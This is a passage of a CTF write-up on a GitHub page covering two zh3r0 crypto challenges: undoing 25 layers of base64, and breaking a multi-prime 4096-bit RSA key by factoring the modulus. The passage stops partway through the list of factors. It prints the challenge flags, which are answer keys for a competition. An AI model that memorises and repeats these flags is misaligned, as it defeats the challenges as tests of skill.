d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/zh3r0-20","user_id":null}}" data-hydro-click-hmac="2bd544ca54910fb37ef4fd65901a4ea242e3a8ad3fbadfbbd3de8532c9ee7ba5"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span>zh3r0-20<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span>zh3r0-20<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/zh3r0-20" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/noob-atbash/CTF-writeups/file-list/master/zh3r0-20"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>resource</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>z.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Crypto # Base646464```Encoding something multiple times makes it exponentially more secure!Files: cipher.txt generate.js``` In `cipher.txt`, there seems to be a very large base64 message, and in `generate.js`, there is:``` jsconst btoa = str => Buffer.from(str).toString('base64'); const fs = require("fs");const flag = fs.readFileSync("flag.txt", "utf8").trim(); let ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret); fs.writeFileSync("cipher.txt", ret);``` `generate.js` encode the flag 25 times in base64, we can reverse what this script do but, i want to use my BaseCracker software (https://github.com/skyf0l/BaseCracker):```$ ./basecracker.py `cat ~/Downloads/cipher.txt`Cipher: [...] [...]Apply base64: VjIweE5HRkdiM3BrU0U1T1VrVktlVmw2UlRWak1ERllaRWQ0V1UxcldtMVphMUpEVFVabmVVOVhNVmxsYkd0M1dYcE5kMUJSUFQwPQ==Apply base64: V20xNGFGb3pkSE5OUkVKeVl6RTVjMDFYZEd4WU1rWm1Za1JDTUZneU9XMVllbGt3WXpNd1BRPT0=Apply base64: Wm14aFozdHNNREJyYzE5c01XdGxYMkZmYkRCMFgyOW1YelkwYzMwPQ==Apply base64: ZmxhZ3tsMDBrc19sMWtlX2FfbDB0X29mXzY0c30=Apply base64: flag{l00ks_l1ke_a_l0t_of_64s} Decode order: base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64Plaintext: flag{l00ks_l1ke_a_l0t_of_64s}``` The flag is: `flag{l00ks_l1ke_a_l0t_of_64s}` # 4k-rsa```Only n00bz use 2048-bit RSA. True gamers use keys that are at least 4k bits long, no matter how many primes it takes...File: 4k-rsa-public-key.txt``` In `4k-rsa-public-key.txt`, there is:```n: 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877e: 65537c: 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171``` It's a RSA encryption, we can see all factors of n with http://www.factordb.com:```N = 9353689450544968301 * 9431486459129385713 * 9563871376496945939 * 9734621099746950389 * 9736426554597289187 * 10035211751896066517 * 10040518276351167659 * 10181432127731860643 * 10207091564737615283 * 10435329529687076341 * 10498390163702844413 * 10795203922067072869 * 11172074163972443279 * 11177660664692929397 * 11485099149552071347 * 11616532426455948319 * 11964233629849590781 * 11992188644420662609 * 12084363952563914161 * 12264277362666379411 * 12284357139600907033 * 12726850839407946047 * 13115347801685269351 * 13330028326583914849 * 13447718068162387333 * 13554661643603143669 * 13558122110214876367 * 13579057804448354623 * 13716062103239551021 * 13789440402687036193 * 13856162412093479449 * 13857614679626144761 * 14296909550165083981 * 14302754311314161101 * 14636284106789671351 * 14764546515788021591 * 14893589315557698913 * 15067220807972526163 * 15241351646164982941 * 15407706505172751449 * 15524931816063806341 * 15525253577632484267 * 15549005882626828981 